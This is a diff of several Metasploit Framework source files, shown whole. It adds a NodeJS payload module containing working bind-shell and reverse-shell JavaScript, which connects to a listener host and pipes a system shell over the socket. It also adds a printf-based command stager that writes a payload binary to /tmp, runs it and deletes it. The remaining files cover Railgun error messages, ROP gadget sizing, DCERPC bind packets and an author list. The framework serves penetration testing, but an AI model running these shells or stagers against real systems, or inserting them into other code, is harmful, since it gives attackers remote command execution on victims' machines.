::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil
|
||||
data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil
|
||||
case data
|
||||
when /sse2/
|
||||
@run_path ||= "run.linux.x86.sse2/john"
|
||||
when /mmx/
|
||||
@run_path ||= "run.linux.x86.mmx/john"
|
||||
else
|
||||
@run_path ||= "run.linux.x86.any/john"
|
||||
case ::RUBY_PLATFORM
|
||||
when /mingw|cygwin|mswin/
|
||||
fname = "#{cpuinfo_base}/cpuinfo.exe"
|
||||
if File.exists?(fname) and File.executable?(fname)
|
||||
data = %x{"#{fname}"} rescue nil
|
||||
end
|
||||
case data
|
||||
when /sse2/
|
||||
@run_path ||= "run.win32.sse2/john.exe"
|
||||
when /mmx/
|
||||
@run_path ||= "run.win32.mmx/john.exe"
|
||||
else
|
||||
@run_path ||= "run.win32.any/john.exe"
|
||||
end
|
||||
when /x86_64-linux/
|
||||
fname = "#{cpuinfo_base}/cpuinfo.ia64.bin"
|
||||
if File.exists? fname
|
||||
::FileUtils.chmod(0755, fname) rescue nil
|
||||
data = %x{"#{fname}"} rescue nil
|
||||
end
|
||||
case data
|
||||
when /mmx/
|
||||
@run_path ||= "run.linux.x64.mmx/john"
|
||||
else
|
||||
@run_path ||= "run.linux.x86.any/john"
|
||||
end
|
||||
when /i[\d]86-linux/
|
||||
fname = "#{cpuinfo_base}/cpuinfo.ia32.bin"
|
||||
if File.exists? fname
|
||||
::FileUtils.chmod(0755, fname) rescue nil
|
||||
data = %x{"#{fname}"} rescue nil
|
||||
end
|
||||
case data
|
||||
when /sse2/
|
||||
@run_path ||= "run.linux.x86.sse2/john"
|
||||
when /mmx/
|
||||
@run_path ||= "run.linux.x86.mmx/john"
|
||||
else
|
||||
@run_path ||= "run.linux.x86.any/john"
|
||||
end
|
||||
end
|
||||
end
|
||||
@run_path
|
||||
|
||||
return @run_path
|
||||
end
|
||||
|
||||
def john_session_id
|
||||
|
||||
Executable
+27
@@ -0,0 +1,27 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
####
|
||||
# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf.
|
||||
#
|
||||
# This stager uses a POSIX-conformant printf, that supports the interpretation
|
||||
# of octal escapes, to drop an ELF with the payload embedded to disk.
|
||||
####
|
||||
|
||||
module Exploit::CmdStagerPrintf
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
# Initializes a CmdStagerPrintf instance for the supplied payload
|
||||
#
|
||||
# @param exe [String] The payload embedded into an ELF
|
||||
# @return [Rex::Exploitation::CmdStagerPrintf] Stager instance
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerPrintf.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -3,6 +3,7 @@ require 'rex/service_manager'
|
||||
require 'rex/exploitation/obfuscatejs'
|
||||
require 'rex/exploitation/encryptjs'
|
||||
require 'rex/exploitation/heaplib'
|
||||
require 'rex/exploitation/javascriptosdetect'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
@@ -26,6 +26,7 @@ require 'msf/core/exploit/cmdstager_debug_asm'
|
||||
require 'msf/core/exploit/cmdstager_tftp'
|
||||
require 'msf/core/exploit/cmdstager_bourne'
|
||||
require 'msf/core/exploit/cmdstager_echo'
|
||||
require 'msf/core/exploit/cmdstager_printf'
|
||||
|
||||
# Protocol
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
@@ -12,39 +12,40 @@ class Msf::Module::Author
|
||||
# A hash of known author names
|
||||
Known =
|
||||
{
|
||||
'hdm' => 'hdm' + 0x40.chr + 'metasploit.com',
|
||||
'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com',
|
||||
'skape' => 'mmiller' + 0x40.chr + 'hick.org',
|
||||
'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com',
|
||||
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
|
||||
'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com',
|
||||
'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com',
|
||||
'MC' => 'mc' + 0x40.chr + 'metasploit.com',
|
||||
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
|
||||
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
|
||||
'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl',
|
||||
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
|
||||
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
|
||||
'I)ruid' => 'druid' + 0x40.chr + 'caughq.org',
|
||||
'egypt' => 'egypt' + 0x40.chr + 'metasploit.com',
|
||||
'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com',
|
||||
'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com',
|
||||
'et' => 'et' + 0x40.chr + 'metasploit.com',
|
||||
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
|
||||
'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com',
|
||||
'ddz' => 'ddz' + 0x40.chr + 'theta44.org',
|
||||
'jduck' => 'jduck' + 0x40.chr + 'metasploit.com',
|
||||
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
|
||||
'todb' => 'todb' + 0x40.chr + 'metasploit.com',
|
||||
'msmith' => 'msmith' + 0x40.chr + 'metasploit.com',
|
||||
'jcran' => 'jcran' + 0x40.chr + 'metasploit.com',
|
||||
'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com',
|
||||
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
|
||||
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
|
||||
'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com',
|
||||
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
|
||||
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
|
||||
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
|
||||
'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com',
|
||||
'ddz' => 'ddz' + 0x40.chr + 'theta44.org',
|
||||
'egypt' => 'egypt' + 0x40.chr + 'metasploit.com',
|
||||
'et' => 'et' + 0x40.chr + 'metasploit.com',
|
||||
'hdm' => 'hdm' + 0x40.chr + 'metasploit.com',
|
||||
'I)ruid' => 'druid' + 0x40.chr + 'caughq.org',
|
||||
'jcran' => 'jcran' + 0x40.chr + 'metasploit.com',
|
||||
'jduck' => 'jduck' + 0x40.chr + 'metasploit.com',
|
||||
'joev' => 'joev' + 0x40.chr + 'metasploit.com',
|
||||
'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com',
|
||||
'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com',
|
||||
'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com',
|
||||
'MC' => 'mc' + 0x40.chr + 'metasploit.com',
|
||||
'msmith' => 'msmith' + 0x40.chr + 'metasploit.com',
|
||||
'mubix' => 'mubix' + 0x40.chr + 'hak5.org',
|
||||
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
|
||||
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
|
||||
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
|
||||
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
|
||||
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
|
||||
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
|
||||
'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com',
|
||||
'skape' => 'mmiller' + 0x40.chr + 'hick.org',
|
||||
'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl',
|
||||
'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com',
|
||||
'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com',
|
||||
'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com',
|
||||
'mubix' => 'mubix' + 0x40.chr + 'hak5.org'
|
||||
'todb' => 'todb' + 0x40.chr + 'metasploit.com',
|
||||
'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com'
|
||||
}
|
||||
|
||||
#
|
||||
|
||||
@@ -0,0 +1,70 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf::Payload::NodeJS
|
||||
# Outputs a javascript snippet that spawns a bind TCP shell
|
||||
# @return [String] javascript code that executes bind TCP payload
|
||||
def nodejs_bind_tcp
|
||||
cmd = <<-EOS
|
||||
(function(){
|
||||
var require = global.require || global.process.mainModule.constructor._load;
|
||||
if (!require) return;
|
||||
|
||||
var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
|
||||
var net = require("net"),
|
||||
cp = require("child_process"),
|
||||
util = require("util");
|
||||
|
||||
var server = net.createServer(function(socket) {
|
||||
var sh = cp.spawn(cmd, []);
|
||||
socket.pipe(sh.stdin);
|
||||
util.pump(sh.stdout, socket);
|
||||
util.pump(sh.stderr, socket);
|
||||
});
|
||||
server.listen(#{datastore['LPORT']});
|
||||
})();
|
||||
EOS
|
||||
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
|
||||
end
|
||||
|
||||
# Outputs a javascript snippet that spawns a reverse TCP shell
|
||||
# @param [Hash] opts the options to create the reverse TCP payload with
|
||||
# @option opts [Boolean] :use_ssl use SSL when communicating with the shell. defaults to false.
|
||||
# @return [String] javascript code that executes reverse TCP payload
|
||||
def nodejs_reverse_tcp(opts={})
|
||||
use_ssl = opts.fetch(:use_ssl, false)
|
||||
tls_hash = if use_ssl then '{rejectUnauthorized:false}, ' else '' end
|
||||
net_lib = if use_ssl then 'tls' else 'net' end
|
||||
lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
|
||||
# the global.process.mainModule.constructor._load fallback for require() is
|
||||
# handy when the payload is eval()'d into a sandboxed context: the reference
|
||||
# to 'require' is missing, but can be looked up from the 'global' object.
|
||||
#
|
||||
# however, this fallback might break in later versions of nodejs.
|
||||
cmd = <<-EOS
|
||||
(function(){
|
||||
var require = global.require || global.process.mainModule.constructor._load;
|
||||
if (!require) return;
|
||||
var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
|
||||
var net = require("#{net_lib}"),
|
||||
cp = require("child_process"),
|
||||
util = require("util"),
|
||||
sh = cp.spawn(cmd, []);
|
||||
var client = this;
|
||||
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
|
||||
client.socket.pipe(sh.stdin);
|
||||
util.pump(sh.stdout, client.socket);
|
||||
util.pump(sh.stderr, client.socket);
|
||||
});
|
||||
})();
|
||||
EOS
|
||||
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
|
||||
end
|
||||
|
||||
# Wraps the javascript code param in a "node" command invocation
|
||||
# @param [String] code the javascript code to run
|
||||
# @return [String] a command that invokes "node" and passes the code
|
||||
def nodejs_cmd(code)
|
||||
"node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'"
|
||||
end
|
||||
end
|
||||
@@ -7,3 +7,4 @@ require 'rex/exploitation/cmdstager/debug_asm'
|
||||
require 'rex/exploitation/cmdstager/tftp'
|
||||
require 'rex/exploitation/cmdstager/bourne'
|
||||
require 'rex/exploitation/cmdstager/echo'
|
||||
require 'rex/exploitation/cmdstager/printf'
|
||||
|
||||
Executable
+122
@@ -0,0 +1,122 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
require 'shellwords'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
class CmdStagerPrintf < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_elf = Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
#
|
||||
# Override to ensure opts[:temp] is a correct *nix path
|
||||
#
|
||||
def generate(opts = {})
|
||||
opts[:temp] = opts[:temp] || '/tmp/'
|
||||
opts[:temp].gsub!(/\\/, '/')
|
||||
opts[:temp] = opts[:temp].shellescape
|
||||
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Override to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
if opts[:noquotes]
|
||||
@cmd_start = "printf "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_elf}"
|
||||
@prefix = '\\\\'
|
||||
min_part_size = 5
|
||||
else
|
||||
@cmd_start = "printf '"
|
||||
@cmd_end = "'>>#{@tempdir}#{@var_elf}"
|
||||
@prefix = '\\'
|
||||
min_part_size = 4
|
||||
end
|
||||
xtra_len = @cmd_start.length + @cmd_end.length
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
|
||||
if (opts[:linemax] - opts[:extra]) < min_part_size
|
||||
raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Encode into a "\12\345" octal format that printf understands
|
||||
#
|
||||
def encode_payload(opts)
|
||||
return Rex::Text.to_octal(@exe, @prefix)
|
||||
end
|
||||
|
||||
#
|
||||
# Override it to ensure that the octal representation of a byte isn't cut
|
||||
#
|
||||
def slice_up_payload(encoded, opts)
|
||||
encoded_dup = encoded.dup
|
||||
|
||||
parts = []
|
||||
xtra_len = opts[:extra]
|
||||
xtra_len ||= 0
|
||||
while (encoded_dup.length > 0)
|
||||
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
|
||||
|
||||
# remove the last octal escape if it is imcomplete
|
||||
if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
|
||||
pos = temp.rindex('\\')
|
||||
pos -= 1 if temp[pos-1] == '\\'
|
||||
temp.slice!(pos..temp.length-1)
|
||||
end
|
||||
|
||||
parts << temp
|
||||
encoded_dup.slice!(0, temp.length)
|
||||
end
|
||||
|
||||
parts
|
||||
end
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before and after it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
parts.map do |p|
|
||||
@cmd_start + p + @cmd_end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Since the binary has been already dropped to disk, just execute and
|
||||
# delete it
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
cmds = []
|
||||
# Make it all happen
|
||||
cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
unless opts[:nodelete]
|
||||
cmds << "rm -f #{@tempdir}#{@var_elf}"
|
||||
end
|
||||
|
||||
return cmds
|
||||
end
|
||||
|
||||
def cmd_concat_operator
|
||||
" ; "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -29,7 +29,7 @@ class RopDb
|
||||
#
|
||||
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
|
||||
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
|
||||
# and :size_negate.
|
||||
# :unsafe_negate_size, and :safe_negate_size
|
||||
# Note if no RoP is found, it returns an empry array.
|
||||
# Arguments:
|
||||
# rop_name - name of the ROP chain.
|
||||
@@ -90,8 +90,10 @@ class RopDb
|
||||
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
|
||||
elsif e == :size
|
||||
payload.length
|
||||
elsif e == :size_negate
|
||||
0xffffffff - payload.length + 1
|
||||
elsif e == :unsafe_negate_size
|
||||
get_unsafe_size(payload.length)
|
||||
elsif e == :safe_negate_size
|
||||
get_safe_size(payload.length)
|
||||
else
|
||||
e
|
||||
end
|
||||
@@ -105,6 +107,28 @@ class RopDb
|
||||
private
|
||||
|
||||
|
||||
#
|
||||
# Returns a size that's safe from null bytes.
|
||||
# This function will keep incrementing the value of "s" until it's safe from null bytes.
|
||||
#
|
||||
def get_safe_size(s)
|
||||
safe_size = get_unsafe_size(s)
|
||||
while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00")
|
||||
safe_size -= 1
|
||||
end
|
||||
|
||||
safe_size
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns a size that might contain one or more null bytes
|
||||
#
|
||||
def get_unsafe_size(s)
|
||||
0xffffffff - s + 1
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Checks if a ROP chain is compatible
|
||||
#
|
||||
@@ -146,8 +170,10 @@ class RopDb
|
||||
gadgets << :junk
|
||||
when 'size'
|
||||
gadgets << :size
|
||||
when 'size_negate'
|
||||
gadgets << :size_negate
|
||||
when 'unsafe_negate_size'
|
||||
gadgets << :unsafe_negate_size
|
||||
when 'safe_negate_size'
|
||||
gadgets << :safe_negate_size
|
||||
else
|
||||
gadgets << value.to_i(16)
|
||||
end
|
||||
@@ -160,4 +186,4 @@ class RopDb
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -48,7 +48,7 @@ class Resolve
|
||||
def resolve_hosts(hostnames, family=AF_INET)
|
||||
request = Packet.create_request('stdapi_net_resolve_hosts')
|
||||
request.add_tlv(TLV_TYPE_ADDR_TYPE, family)
|
||||
|
||||
|
||||
hostnames.each do |hostname|
|
||||
request.add_tlv(TLV_TYPE_HOST_NAME, hostname)
|
||||
end
|
||||
@@ -84,7 +84,7 @@ class Resolve
|
||||
end
|
||||
|
||||
if raw.empty?
|
||||
ip = ""
|
||||
ip = nil
|
||||
else
|
||||
if type == AF_INET
|
||||
ip = Rex::Socket.addr_ntoa(raw[0..3])
|
||||
|
||||
@@ -269,13 +269,21 @@ class DLL
|
||||
rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT)
|
||||
rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET)
|
||||
rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR)
|
||||
rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG)
|
||||
|
||||
# Error messages come back with trailing CRLF, so strip it out
|
||||
# if we do get a message.
|
||||
rec_err_msg.strip! if not rec_err_msg.nil?
|
||||
|
||||
#puts "received stuff"
|
||||
#puts "out_only_layout:"
|
||||
#puts out_only_layout
|
||||
|
||||
# The hash the function returns
|
||||
return_hash={"GetLastError" => rec_last_error}
|
||||
return_hash = {
|
||||
"GetLastError" => rec_last_error,
|
||||
"ErrorMessage" => rec_err_msg
|
||||
}
|
||||
|
||||
#process return value
|
||||
case function.return_type
|
||||
|
||||
@@ -42,10 +42,13 @@ class MultiCaller
|
||||
|
||||
include DLLHelper
|
||||
|
||||
def initialize( client, parent )
|
||||
def initialize( client, parent, win_consts )
|
||||
@parent = parent
|
||||
@client = client
|
||||
|
||||
# needed by DLL helper
|
||||
@win_consts = win_consts
|
||||
|
||||
if( @client.platform =~ /x64/i )
|
||||
@native = 'Q'
|
||||
else
|
||||
@@ -224,9 +227,17 @@ class MultiCaller
|
||||
rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT)
|
||||
rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET)
|
||||
rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR)
|
||||
rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG)
|
||||
|
||||
# Error messages come back with trailing CRLF, so strip it out
|
||||
# if we do get a message.
|
||||
rec_err_msg.strip! if not rec_err_msg.nil?
|
||||
|
||||
# The hash the function returns
|
||||
return_hash={"GetLastError" => rec_last_error}
|
||||
return_hash = {
|
||||
"GetLastError" => rec_last_error,
|
||||
"ErrorMessage" => rec_err_msg
|
||||
}
|
||||
|
||||
#process return value
|
||||
case function.return_type
|
||||
@@ -303,8 +314,6 @@ class MultiCaller
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :win_consts
|
||||
|
||||
end # MultiCall
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
||||
@@ -290,7 +290,7 @@ class Railgun
|
||||
#
|
||||
def multi(functions)
|
||||
if @multicaller.nil?
|
||||
@multicaller = MultiCaller.new(client, self)
|
||||
@multicaller = MultiCaller.new(client, self, ApiConstants.manager)
|
||||
end
|
||||
|
||||
return @multicaller.call(functions)
|
||||
|
||||
@@ -32,24 +32,25 @@ module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
|
||||
TLV_TYPE_EXTENSION_RAILGUN = 0
|
||||
TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_RAILGUN_STACKBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2)
|
||||
TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3)
|
||||
TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4)
|
||||
TLV_TYPE_EXTENSION_RAILGUN = 0
|
||||
TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_RAILGUN_STACKBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2)
|
||||
TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3)
|
||||
TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4)
|
||||
|
||||
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5)
|
||||
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6)
|
||||
TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7)
|
||||
TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8)
|
||||
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5)
|
||||
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6)
|
||||
TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7)
|
||||
TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8)
|
||||
|
||||
TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
|
||||
TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
|
||||
TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
|
||||
TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
|
||||
TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
|
||||
TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
|
||||
|
||||
TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12 )
|
||||
TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13 )
|
||||
TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14 )
|
||||
TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12)
|
||||
TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13)
|
||||
TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14)
|
||||
|
||||
TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
|
||||
TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
|
||||
TLV_TYPE_RAILGUN_BACK_MSG = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16)
|
||||
end; end; end; end; end; end
|
||||
|
||||
@@ -252,7 +252,7 @@ require 'rex/proto/smb/exceptions'
|
||||
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args)
|
||||
else
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1])
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid)
|
||||
end
|
||||
|
||||
raise 'make_bind failed' if !bind
|
||||
|
||||
@@ -11,11 +11,15 @@ require 'rex/text'
|
||||
UUID = Rex::Proto::DCERPC::UUID
|
||||
|
||||
# Create a standard DCERPC BIND request packet
|
||||
def self.make_bind(uuid, vers)
|
||||
def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers)
|
||||
|
||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||
bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers)
|
||||
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers)
|
||||
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers)
|
||||
|
||||
if UUID.is? xfer_syntax_uuid
|
||||
xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid)
|
||||
end
|
||||
|
||||
# Create the bind request packet
|
||||
buff =
|
||||
@@ -37,7 +41,7 @@ require 'rex/text'
|
||||
UUID.uuid_pack(uuid), # interface uuid
|
||||
bind_vers_maj, # interface major version
|
||||
bind_vers_min, # interface minor version
|
||||
UUID.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/proto/dcerpc/wdscp/constants'
|
||||
require 'rex/proto/dcerpc/wdscp/packet'
|
||||
@@ -0,0 +1,89 @@
|
||||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
module DCERPC
|
||||
module WDSCP
|
||||
# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx
|
||||
# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx
|
||||
# Not all values defined by the spec have been imported...
|
||||
class Constants
|
||||
WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620"
|
||||
OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27"
|
||||
|
||||
VAR_NAME_ARCHITECTURE = "ARCHITECTURE"
|
||||
VAR_NAME_CLIENT_GUID = "CLIENT_GUID"
|
||||
VAR_NAME_CLIENT_MAC = "CLIENT_MAC"
|
||||
VAR_NAME_VERSION = "VERSION"
|
||||
VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE"
|
||||
VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID"
|
||||
VAR_NAME_FLAGS = "FLAGS"
|
||||
VAR_NAME_CC = "CC" #Client Capabilities
|
||||
